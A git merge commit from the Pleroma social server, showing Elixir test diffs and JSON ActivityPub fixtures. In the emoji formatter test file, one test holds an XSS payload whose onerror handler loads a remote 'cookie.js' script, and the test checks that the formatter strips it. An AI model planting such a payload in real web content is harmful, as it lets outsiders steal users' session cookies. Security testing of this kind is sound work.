Merge remote-tracking branch 'upstream/develop' into fix-prameter-name-of-accounts-update-credentials

This commit is contained in:
kPherox 2019-10-01 01:39:22 +09:00
commit a0f101ee80
No known key found for this signature in database
GPG key ID: C04751C2BFA2F62D
432 changed files with 20793 additions and 14802 deletions

View file

@ -0,0 +1,141 @@
defmodule Pleroma.Activity.Ir.TopicsTest do
use Pleroma.DataCase
alias Pleroma.Activity
alias Pleroma.Activity.Ir.Topics
alias Pleroma.Object
require Pleroma.Constants
describe "poll answer" do
test "produce no topics" do
activity = %Activity{object: %Object{data: %{"type" => "Answer"}}}
assert [] == Topics.get_activity_topics(activity)
end
end
describe "non poll answer" do
test "always add user and list topics" do
activity = %Activity{object: %Object{data: %{"type" => "FooBar"}}}
topics = Topics.get_activity_topics(activity)
assert Enum.member?(topics, "user")
assert Enum.member?(topics, "list")
end
end
describe "public visibility" do
setup do
activity = %Activity{
object: %Object{data: %{"type" => "Note"}},
data: %{"to" => [Pleroma.Constants.as_public()]}
}
{:ok, activity: activity}
end
test "produces public topic", %{activity: activity} do
topics = Topics.get_activity_topics(activity)
assert Enum.member?(topics, "public")
end
test "local action produces public:local topic", %{activity: activity} do
activity = %{activity | local: true}
topics = Topics.get_activity_topics(activity)
assert Enum.member?(topics, "public:local")
end
test "non-local action does not produce public:local topic", %{activity: activity} do
activity = %{activity | local: false}
topics = Topics.get_activity_topics(activity)
refute Enum.member?(topics, "public:local")
end
end
describe "public visibility create events" do
setup do
activity = %Activity{
object: %Object{data: %{"type" => "Create", "attachment" => []}},
data: %{"to" => [Pleroma.Constants.as_public()]}
}
{:ok, activity: activity}
end
test "with no attachments doesn't produce public:media topics", %{activity: activity} do
topics = Topics.get_activity_topics(activity)
refute Enum.member?(topics, "public:media")
refute Enum.member?(topics, "public:local:media")
end
test "converts tags to hash tags", %{activity: %{object: %{data: data} = object} = activity} do
tagged_data = Map.put(data, "tag", ["foo", "bar"])
activity = %{activity | object: %{object | data: tagged_data}}
topics = Topics.get_activity_topics(activity)
assert Enum.member?(topics, "hashtag:foo")
assert Enum.member?(topics, "hashtag:bar")
end
test "only converts strinngs to hash tags", %{
activity: %{object: %{data: data} = object} = activity
} do
tagged_data = Map.put(data, "tag", [2])
activity = %{activity | object: %{object | data: tagged_data}}
topics = Topics.get_activity_topics(activity)
refute Enum.member?(topics, "hashtag:2")
end
end
describe "public visibility create events with attachments" do
setup do
activity = %Activity{
object: %Object{data: %{"type" => "Create", "attachment" => ["foo"]}},
data: %{"to" => [Pleroma.Constants.as_public()]}
}
{:ok, activity: activity}
end
test "produce public:media topics", %{activity: activity} do
topics = Topics.get_activity_topics(activity)
assert Enum.member?(topics, "public:media")
end
test "local produces public:local:media topics", %{activity: activity} do
topics = Topics.get_activity_topics(activity)
assert Enum.member?(topics, "public:local:media")
end
test "non-local doesn't produce public:local:media topics", %{activity: activity} do
activity = %{activity | local: false}
topics = Topics.get_activity_topics(activity)
refute Enum.member?(topics, "public:local:media")
end
end
describe "non-public visibility" do
test "produces direct topic" do
activity = %Activity{object: %Object{data: %{"type" => "Note"}}, data: %{"to" => []}}
topics = Topics.get_activity_topics(activity)
assert Enum.member?(topics, "direct")
refute Enum.member?(topics, "public")
refute Enum.member?(topics, "public:local")
refute Enum.member?(topics, "public:media")
refute Enum.member?(topics, "public:local:media")
end
end
end

View file

@ -0,0 +1,27 @@
# Pleroma: A lightweight social networking server
# Copyright © 2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ActivityExpirationTest do
use Pleroma.DataCase
alias Pleroma.ActivityExpiration
import Pleroma.Factory
test "finds activities due to be deleted only" do
activity = insert(:note_activity)
expiration_due = insert(:expiration_in_the_past, %{activity_id: activity.id})
activity2 = insert(:note_activity)
insert(:expiration_in_the_future, %{activity_id: activity2.id})
expirations = ActivityExpiration.due_expirations()
assert length(expirations) == 1
assert hd(expirations) == expiration_due
end
test "denies expirations that don't live long enough" do
activity = insert(:note_activity)
now = NaiveDateTime.utc_now()
assert {:error, _} = ActivityExpiration.create(activity, now)
end
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ActivityTest do
@ -7,6 +7,7 @@ defmodule Pleroma.ActivityTest do
alias Pleroma.Activity
alias Pleroma.Bookmark
alias Pleroma.Object
alias Pleroma.Tests.ObanHelpers
alias Pleroma.ThreadMute
import Pleroma.Factory
@ -125,7 +126,8 @@ defmodule Pleroma.ActivityTest do
}
{:ok, local_activity} = Pleroma.Web.CommonAPI.post(user, %{"status" => "find me!"})
{:ok, remote_activity} = Pleroma.Web.Federator.incoming_ap_doc(params)
{:ok, job} = Pleroma.Web.Federator.incoming_ap_doc(params)
{:ok, remote_activity} = ObanHelpers.perform(job)
%{local_activity: local_activity, remote_activity: remote_activity, user: user}
end
@ -164,4 +166,60 @@ defmodule Pleroma.ActivityTest do
Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated)
end
end
test "add an activity with an expiration" do
activity = insert(:note_activity)
insert(:expiration_in_the_future, %{activity_id: activity.id})
Pleroma.ActivityExpiration
|> where([a], a.activity_id == ^activity.id)
|> Repo.one!()
end
test "all_by_ids_with_object/1" do
%{id: id1} = insert(:note_activity)
%{id: id2} = insert(:note_activity)
activities =
[id1, id2]
|> Activity.all_by_ids_with_object()
|> Enum.sort(&(&1.id < &2.id))
assert [%{id: ^id1, object: %Object{}}, %{id: ^id2, object: %Object{}}] = activities
end
test "get_by_id_with_object/1" do
%{id: id} = insert(:note_activity)
assert %Activity{id: ^id, object: %Object{}} = Activity.get_by_id_with_object(id)
end
test "get_by_ap_id_with_object/1" do
%{data: %{"id" => ap_id}} = insert(:note_activity)
assert %Activity{data: %{"id" => ^ap_id}, object: %Object{}} =
Activity.get_by_ap_id_with_object(ap_id)
end
test "get_by_id/1" do
%{id: id} = insert(:note_activity)
assert %Activity{id: ^id} = Activity.get_by_id(id)
end
test "all_by_actor_and_id/2" do
user = insert(:user)
{:ok, %{id: id1}} = Pleroma.Web.CommonAPI.post(user, %{"status" => "cofe"})
{:ok, %{id: id2}} = Pleroma.Web.CommonAPI.post(user, %{"status" => "cofefe"})
assert [] == Activity.all_by_actor_and_id(user, [])
activities =
user.ap_id
|> Activity.all_by_actor_and_id([id1, id2])
|> Enum.sort(&(&1.id < &2.id))
assert [%Activity{id: ^id1}, %Activity{id: ^id2}] = activities
end
end

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.CaptchaTest do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ConfigTest do

View file

@ -22,6 +22,8 @@ defmodule Pleroma.ConversationTest do
{:ok, _activity} =
CommonAPI.post(user, %{"visibility" => "direct", "status" => "hey @#{other_user.nickname}"})
Pleroma.Tests.ObanHelpers.perform_all()
Repo.delete_all(Conversation)
Repo.delete_all(Conversation.Participation)

View file

@ -0,0 +1,17 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ActivityExpirationWorkerTest do
use Pleroma.DataCase
alias Pleroma.Activity
import Pleroma.Factory
test "deletes an activity" do
activity = insert(:note_activity)
expiration = insert(:expiration_in_the_past, %{activity_id: activity.id})
Pleroma.Daemons.ActivityExpirationDaemon.perform(:execute, expiration.id)
refute Repo.get(Activity, activity.id)
end
end

View file

@ -2,11 +2,12 @@
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.DigestEmailWorkerTest do
defmodule Pleroma.DigestEmailDaemonTest do
use Pleroma.DataCase
import Pleroma.Factory
alias Pleroma.DigestEmailWorker
alias Pleroma.Daemons.DigestEmailDaemon
alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.Web.CommonAPI
@ -22,7 +23,10 @@ defmodule Pleroma.DigestEmailWorkerTest do
User.switch_email_notifications(user2, "digest", true)
CommonAPI.post(user, %{"status" => "hey @#{user2.nickname}!"})
DigestEmailWorker.perform()
DigestEmailDaemon.perform()
ObanHelpers.perform_all()
# Performing job(s) enqueued at previous step
ObanHelpers.perform_all()
assert_received {:email, email}
assert email.to == [{user2.name, user2.email}]

View file

@ -1,8 +1,8 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.ScheduledActivityWorkerTest do
defmodule Pleroma.ScheduledActivityDaemonTest do
use Pleroma.DataCase
alias Pleroma.ScheduledActivity
import Pleroma.Factory
@ -10,7 +10,7 @@ defmodule Pleroma.ScheduledActivityWorkerTest do
test "creates a status from the scheduled activity" do
user = insert(:user)
scheduled_activity = insert(:scheduled_activity, user: user, params: %{status: "hi"})
Pleroma.ScheduledActivityWorker.perform(:execute, scheduled_activity.id)
Pleroma.Daemons.ScheduledActivityDaemon.perform(:execute, scheduled_activity.id)
refute Repo.get(ScheduledActivity, scheduled_activity.id)
activity = Repo.all(Pleroma.Activity) |> Enum.find(&(&1.actor == user.ap_id))

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emails.AdminEmailTest do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emails.MailerTest do

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emails.UserEmailTest do

View file

@ -0,0 +1,64 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.FormatterTest do
alias Pleroma.Emoji
alias Pleroma.Emoji.Formatter
use Pleroma.DataCase
describe "emojify" do
test "it adds cool emoji" do
text = "I love :firefox:"
expected_result =
"I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\" />"
assert Formatter.emojify(text) == expected_result
end
test "it does not add XSS emoji" do
text =
"I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
custom_emoji =
{
"'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
"https://placehold.it/1x1"
}
|> Pleroma.Emoji.build()
expected_result =
"I love <img class=\"emoji\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
assert Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) == expected_result
end
end
describe "get_emoji" do
test "it returns the emoji used in the text" do
text = "I love :firefox:"
assert Formatter.get_emoji(text) == [
{"firefox",
%Emoji{
code: "firefox",
file: "/emoji/Firefox.gif",
tags: ["Gif", "Fun"],
safe_code: "firefox",
safe_file: "/emoji/Firefox.gif"
}}
]
end
test "it returns a nice empty result when no emojis are present" do
text = "I love moominamma"
assert Formatter.get_emoji(text) == []
end
test "it doesn't die when text is absent" do
text = nil
assert Formatter.get_emoji(text) == []
end
end
end

View file

@ -0,0 +1,83 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Emoji.LoaderTest do
use ExUnit.Case, async: true
alias Pleroma.Emoji.Loader
describe "match_extra/2" do
setup do
groups = [
"list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
"wildcard folder": "/emoji/custom/*/file.png",
"wildcard files": "/emoji/custom/folder/*.png",
"special file": "/emoji/custom/special.png"
]
{:ok, groups: groups}
end
test "config for list of files", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/first_file.png")
|> to_string()
assert group == "list of files"
end
test "config with wildcard folder", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/some_folder/file.png")
|> to_string()
assert group == "wildcard folder"
end
test "config with wildcard folder and subfolders", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png")
|> to_string()
assert group == "wildcard folder"
end
test "config with wildcard files", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/folder/some_file.png")
|> to_string()
assert group == "wildcard files"
end
test "config with wildcard files and subfolders", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png")
|> to_string()
assert group == "wildcard files"
end
test "config for special file", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/custom/special.png")
|> to_string()
assert group == "special file"
end
test "no mathing returns nil", %{groups: groups} do
group =
groups
|> Loader.match_extra("/emoji/some_undefined.png")
refute group
end
end
end

View file

@ -14,9 +14,9 @@ defmodule Pleroma.EmojiTest do
test "first emoji", %{emoji_list: emoji_list} do
[emoji | _others] = emoji_list
{code, path, tags} = emoji
{code, %Emoji{file: path, tags: tags}} = emoji
assert tuple_size(emoji) == 3
assert tuple_size(emoji) == 2
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)
@ -24,87 +24,12 @@ defmodule Pleroma.EmojiTest do
test "random emoji", %{emoji_list: emoji_list} do
emoji = Enum.random(emoji_list)
{code, path, tags} = emoji
{code, %Emoji{file: path, tags: tags}} = emoji
assert tuple_size(emoji) == 3
assert tuple_size(emoji) == 2
assert is_binary(code)
assert is_binary(path)
assert is_list(tags)
end
end
describe "match_extra/2" do
setup do
groups = [
"list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
"wildcard folder": "/emoji/custom/*/file.png",
"wildcard files": "/emoji/custom/folder/*.png",
"special file": "/emoji/custom/special.png"
]
{:ok, groups: groups}
end
test "config for list of files", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/first_file.png")
|> to_string()
assert group == "list of files"
end
test "config with wildcard folder", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/some_folder/file.png")
|> to_string()
assert group == "wildcard folder"
end
test "config with wildcard folder and subfolders", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/some_folder/another_folder/file.png")
|> to_string()
assert group == "wildcard folder"
end
test "config with wildcard files", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/folder/some_file.png")
|> to_string()
assert group == "wildcard files"
end
test "config with wildcard files and subfolders", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/folder/another_folder/some_file.png")
|> to_string()
assert group == "wildcard files"
end
test "config for special file", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/custom/special.png")
|> to_string()
assert group == "special file"
end
test "no mathing returns nil", %{groups: groups} do
group =
groups
|> Emoji.match_extra("/emoji/some_undefined.png")
refute group
end
end
end

View file

@ -0,0 +1,56 @@
{
"@context":[
"https://www.w3.org/ns/activitystreams",
"https://w3id.org/security/v1",
"https://apfed.club/apschema/v1.4"
],
"id":"https://apfed.club/follow/9",
"type":"Follow",
"actor":{
"type":"Person",
"id":"https://apfed.club/channel/indio",
"preferredUsername":"indio",
"name":"Indio",
"updated":"2019-08-20T23:52:34Z",
"icon":{
"type":"Image",
"mediaType":"image/jpeg",
"updated":"2019-08-20T23:53:37Z",
"url":"https://apfed.club/photo/profile/l/2",
"height":300,
"width":300
},
"url":"https://apfed.club/channel/indio",
"inbox":"https://apfed.club/inbox/indio",
"outbox":"https://apfed.club/outbox/indio",
"followers":"https://apfed.club/followers/indio",
"following":"https://apfed.club/following/indio",
"endpoints":{
"sharedInbox":"https://apfed.club/inbox"
},
"publicKey":{
"id":"https://apfed.club/channel/indio",
"owner":"https://apfed.club/channel/indio",
"publicKeyPem":"-----BEGIN PUBLIC KEY-----\nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA77TIR1VuSYFnmDRFGHHb\n4vaGdx9ranzRX4bfOKAqa++Ch5L4EqJpPy08RuM+NrYCYiYl4QQFDSSDXAEgb5g9\nC1TgWTfI7q/E0UBX2Vr0mU6X4i1ztv0tuQvegRjcSJ7l1AvoBs8Ip4MEJ3OPEQhB\ngJqAACB3Gnps4zi2I0yavkxUfGVKr6zKT3BxWh5hTpKC7Do+ChIrVZC2EwxND9K6
\nsAnQHThcb5EQuvuzUQZKeS7IEOsd0JpZDmJjbfMGrAWE81pLIfEeeA2joCJiBBTO\nglDsW+juvZ+lWqJpMr2hMWpvfrFjJeUawNJCIzsLdVIZR+aKj5yy6yqoS8hkN9Ha\n1MljZpsXl+EmwcwAIqim1YeLwERCEAQ/JWbSt8pQTQbzZ6ibwQ4mchCxacrRbIVR
\nnL59fWMBassJcbY0VwrTugm2SBsYbDjESd55UZV03Rwr8qseGTyi+hH8O7w2SIaY\nzjN6AdZiPmsh00YflzlCk8MSLOHMol1vqIUzXxU8CdXn9+KsuQdZGrTz0YKN/db4\naVwUGJatz2Tsvf7R1tJBjJfeQWOWbbn3pycLVH86LjZ83qngp9ZVnAveUnUqz0yS
\nhe+buZ6UMsfGzbIYon2bKNlz6gYTH0YPcr+cLe+29drtt0GZiXha1agbpo4RB8zE
\naNL2fucF5YT0yNpbd/5WoV0CAwEAAQ==\n-----END PUBLIC KEY-----\n"
}
},
"object":"https://pleroma.site/users/kaniini",
"to":[
"https://pleroma.site/users/kaniini"
],
"signature":{
"@context":[
"https://www.w3.org/ns/activitystreams",
"https://w3id.org/security/v1"
],
"type":"RsaSignature2017",
"nonce":"52c035e0a9e81dce8b486159204e97c22637e91f75cdfad5378de91de68e9117",
"creator":"https://apfed.club/channel/indio/public_key_pem",
"created":"2019-08-22T03:38:02Z",
"signatureValue":"oVliRCIqNIh6yUp851dYrF0y21aHp3Rz6VkIpW1pFMWfXuzExyWSfcELpyLseeRmsw5bUu9zJkH44B4G2LiJQKA9UoEQDjrDMZBmbeUpiQqq3DVUzkrBOI8bHZ7xyJ/CjSZcNHHh0MHhSKxswyxWMGi4zIqzkAZG3vRRgoPVHdjPm00sR3B8jBLw1cjoffv+KKeM/zEUpe13gqX9qHAWHHqZepxgSWmq+EKOkRvHUPBXiEJZfXzc5uW+vZ09F3WBYmaRoy8Y0e1P29fnRLqSy7EEINdrHaGclRqoUZyiawpkgy3lWWlynesV/HiLBR7EXT79eKstxf4wfTDaPKBCfTCsOWuMWHr7Genu37ew2/t7eiBGqCwwW12ylhml/OLHgNK3LOhmRABhtfpaFZSxfDVnlXfaLpY1xekVOj2oC0FpBtnoxVKLpIcyLw6dkfSil5ANd+hl59W/bpPA8KT90ii1fSNCo3+FcwQVx0YsPznJNA60XfFuVsme7zNcOst6393e1WriZxBanFpfB63zVQc9u1fjyfktx/yiUNxIlre+sz9OCc0AACn94iRhBYh4bbzdleUOTnM7lnD4Dj2FP+xeDIP8CA8wXUeq5+9kopSp2kAmlUEyFUdg4no7naIeu1SZnopfUg56PsVCp9JHiUK1SYAyWbdC+FbUECu5CvI="
}
}

View file

@ -0,0 +1 @@
{"@context":["https://www.w3.org/ns/activitystreams","https://w3id.org/security/v1",{"Hashtag":"as:Hashtag"}],"id":"https://skippers-bin.com/notes/7x9tmrp97i","type":"Question","attributedTo":"https://skippers-bin.com/users/7v1w1r8ce6","summary":null,"content":"<p><a href=\"https://marchgenso.me/users/march\" class=\"mention\">@march@marchgenso.me</a><span> How are your notifications now?<br></span><a href=\"https://skippers-bin.com/notes/7x9tmrp97i\"><span>リモートで結果を表示</span></a></p>","_misskey_content":"@march@marchgenso.me How are your notifications now?\n[リモートで結果を表示](https://skippers-bin.com/notes/7x9tmrp97i)","published":"2019-09-05T05:35:32.541Z","to":["https://www.w3.org/ns/activitystreams#Public"],"cc":["https://skippers-bin.com/users/7v1w1r8ce6/followers","https://marchgenso.me/users/march"],"inReplyTo":null,"attachment":[],"sensitive":false,"tag":[{"type":"Mention","href":"https://marchgenso.me/users/march","name":"@march@marchgenso.me"}],"_misskey_fallback_content":"<p><a href=\"https://marchgenso.me/users/march\" class=\"mention\">@march@marchgenso.me</a><span> How are your notifications now?<br></span><a href=\"https://skippers-bin.com/notes/7x9tmrp97i\"><span>リモートで結果を表示</span></a><span><br>----------------------------------------<br>0: Working<br>1: Broken af<br>----------------------------------------<br>番号を返信して投票</span></p>","endTime":null,"oneOf":[{"type":"Note","name":"Working","replies":{"type":"Collection","totalItems":0}},{"type":"Note","name":"Broken af","replies":{"type":"Collection","totalItems":1}}]}

View file

@ -0,0 +1 @@
{"@context":["https://www.w3.org/ns/activitystreams","https://w3id.org/security/v1"],"type":"Person","id":"https://apfed.club/channel/indio","preferredUsername":"indio","name":"Indio","updated":"2019-08-20T23:52:34Z","icon":{"type":"Image","mediaType":"image/jpeg","updated":"2019-08-20T23:53:37Z","url":"https://apfed.club/photo/profile/l/2","height":300,"width":300},"url":"https://apfed.club/channel/indio","inbox":"https://apfed.club/inbox/indio","outbox":"https://apfed.club/outbox/indio","followers":"https://apfed.club/followers/indio","following":"https://apfed.club/following/indio","endpoints":{"sharedInbox":"https://apfed.club/inbox"},"publicKey":{"id":"https://apfed.club/channel/indio","owner":"https://apfed.club/channel/indio","publicKeyPem":"-----BEGIN PUBLIC KEY-----\nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA77TIR1VuSYFnmDRFGHHb\n4vaGdx9ranzRX4bfOKAqa++Ch5L4EqJpPy08RuM+NrYCYiYl4QQFDSSDXAEgb5g9\nC1TgWTfI7q/E0UBX2Vr0mU6X4i1ztv0tuQvegRjcSJ7l1AvoBs8Ip4MEJ3OPEQhB\ngJqAACB3Gnps4zi2I0yavkxUfGVKr6zKT3BxWh5hTpKC7Do+ChIrVZC2EwxND9K6\nsAnQHThcb5EQuvuzUQZKeS7IEOsd0JpZDmJjbfMGrAWE81pLIfEeeA2joCJiBBTO\nglDsW+juvZ+lWqJpMr2hMWpvfrFjJeUawNJCIzsLdVIZR+aKj5yy6yqoS8hkN9Ha\n1MljZpsXl+EmwcwAIqim1YeLwERCEAQ/JWbSt8pQTQbzZ6ibwQ4mchCxacrRbIVR\nnL59fWMBassJcbY0VwrTugm2SBsYbDjESd55UZV03Rwr8qseGTyi+hH8O7w2SIaY\nzjN6AdZiPmsh00YflzlCk8MSLOHMol1vqIUzXxU8CdXn9+KsuQdZGrTz0YKN/db4\naVwUGJatz2Tsvf7R1tJBjJfeQWOWbbn3pycLVH86LjZ83qngp9ZVnAveUnUqz0yS\nhe+buZ6UMsfGzbIYon2bKNlz6gYTH0YPcr+cLe+29drtt0GZiXha1agbpo4RB8zE\naNL2fucF5YT0yNpbd/5WoV0CAwEAAQ==\n-----END PUBLIC KEY-----\n"},"signature":{"@context":["https://www.w3.org/ns/activitystreams","https://w3id.org/security/v1"],"type":"RsaSignature2017","nonce":"c672a408d2e88b322b36a61bf0c25f586be9245d30293c55b8d653dcc867aaf7","creator":"https://apfed.club/channel/indio/public_key_pem","created":"2019-08-26T07:24:03Z","signatureValue":"MyAv5gnedu6L/DYFaE1TUYvp4LjI9ZUU0axwGYOhgD7qsjivMgwbOrjX/iH32xlcfF8nWOMh/ogu3+Qwr5sqLHkS2AimWmw1+Ubf2KccE58b8vI8zWfyu8QJnMuE92jtBPv8UTQUHw8ZebbExk3L99oXaeyVihKiMBmd63NpVTpGXZTg6m+H+KfWchVajPoyNKZtKMd3nH99x5j54Cqkz0BN5CSTwCSG0wP95G0VtZHtmhX+tsAPM3oAj0d+gtCZSCd8Nu8fvFAwCyTg1oKSfRqKb27EKHlskqK9X57x0jURH77CTAIQSejgGcKJ5GGLtvofubJkafadjagqrtqz6Mz6BZ642ssJ2KGkRAn79Q4F08goI6cfU5lLk2Tooe5A55XERnmE3SkYGyTvLpacZplxJdU0sa+deX9D7+alSGFJZSziaxpCxzrO6lEApe4b9kHXAzn9VaZt9trijkHq/kkq0i3NRcP7n8JG9q+Vv8jY9ddY6HcH89RNCBIA6MKLtAqc+vSc5G24qeZlw2MzlQWBp0KGuVG8DQR00AL6cXLBzF1WY8JZeEg6zqm+DMznbuNzgiS34BP+AehBSHlQ4MZebwDnK3ZPPqGSwioIWMxIFfZDaVDX9Pp1pXAARQMw0c/y4sDcf9FMzsr8jteEa7ZQcoqq5kXQTSCP56TEHnI="}}

View file

@ -0,0 +1 @@
{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"actor":"https://patch.cx/users/rin","attachment":[],"attributedTo":"https://patch.cx/users/rin","cc":["https://patch.cx/users/rin/followers"],"closed":"2019-09-19T00:32:36.785333","content":"can you vote on this poll?","context":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","conversation":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","id":"https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d","oneOf":[{"name":"yes","replies":{"totalItems":8,"type":"Collection"},"type":"Note"},{"name":"no","replies":{"totalItems":3,"type":"Collection"},"type":"Note"}],"published":"2019-09-18T14:32:36.802152Z","sensitive":false,"summary":"","tag":[],"to":["https://www.w3.org/ns/activitystreams#Public"],"type":"Question"}

View file

@ -0,0 +1 @@
{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"actor":"https://patch.cx/users/rin","attachment":[],"attributedTo":"https://patch.cx/users/rin","cc":["https://patch.cx/users/rin/followers"],"closed":"2019-09-19T00:32:36.785333","content":"can you vote on this poll?","context":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","conversation":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","id":"https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d","oneOf":[{"name":"yes","replies":{"totalItems":4,"type":"Collection"},"type":"Note"},{"name":"no","replies":{"totalItems":0,"type":"Collection"},"type":"Note"}],"published":"2019-09-18T14:32:36.802152Z","sensitive":false,"summary":"","tag":[],"to":["https://www.w3.org/ns/activitystreams#Public"],"type":"Question"}

1
test/fixtures/tesla_mock/rin.json vendored Normal file
View file

@ -0,0 +1 @@
{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"attachment":[],"endpoints":{"oauthAuthorizationEndpoint":"https://patch.cx/oauth/authorize","oauthRegistrationEndpoint":"https://patch.cx/api/v1/apps","oauthTokenEndpoint":"https://patch.cx/oauth/token","sharedInbox":"https://patch.cx/inbox"},"followers":"https://patch.cx/users/rin/followers","following":"https://patch.cx/users/rin/following","icon":{"type":"Image","url":"https://patch.cx/media/4e914f5b84e4a259a3f6c2d2edc9ab642f2ab05f3e3d9c52c81fc2d984b3d51e.jpg"},"id":"https://patch.cx/users/rin","image":{"type":"Image","url":"https://patch.cx/media/f739efddefeee49c6e67e947c4811fdc911785c16ae43da4c3684051fbf8da6a.jpg?name=f739efddefeee49c6e67e947c4811fdc911785c16ae43da4c3684051fbf8da6a.jpg"},"inbox":"https://patch.cx/users/rin/inbox","manuallyApprovesFollowers":false,"name":"rinpatch","outbox":"https://patch.cx/users/rin/outbox","preferredUsername":"rin","publicKey":{"id":"https://patch.cx/users/rin#main-key","owner":"https://patch.cx/users/rin","publicKeyPem":"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5DLtwGXNZElJyxFGfcVc\nXANhaMadj/iYYQwZjOJTV9QsbtiNBeIK54PJrYuU0/0YIdrvS1iqheX5IwXRhcwa\nhm3ZyLz7XeN9st7FBni4BmZMBtMpxAuYuu5p/jbWy13qAiYOhPreCx0wrWgm/lBD\n9mkgaxIxPooBE0S4ZWEJIDIV1Vft3AWcRUyWW1vIBK0uZzs6GYshbQZB952S0yo4\nFzI1hABGHncH8UvuFauh4EZ8tY7/X5I0pGRnDOcRN1dAht5w5yTA+6r5kebiFQjP\nIzN/eCO/a9Flrj9YGW7HDNtjSOH0A31PLRGlJtJO3yK57dnf5ppyCZGfL4emShQo\ncQIDAQAB\n-----END PUBLIC KEY-----\n\n"},"summary":"your friendly neighborhood pleroma developer<br>I like cute things and distributed systems, and really hate delete and redrafts","tag":[],"type":"Person","url":"https://patch.cx/users/rin"}

1
test/fixtures/tesla_mock/sjw.json vendored Normal file
View file

@ -0,0 +1 @@
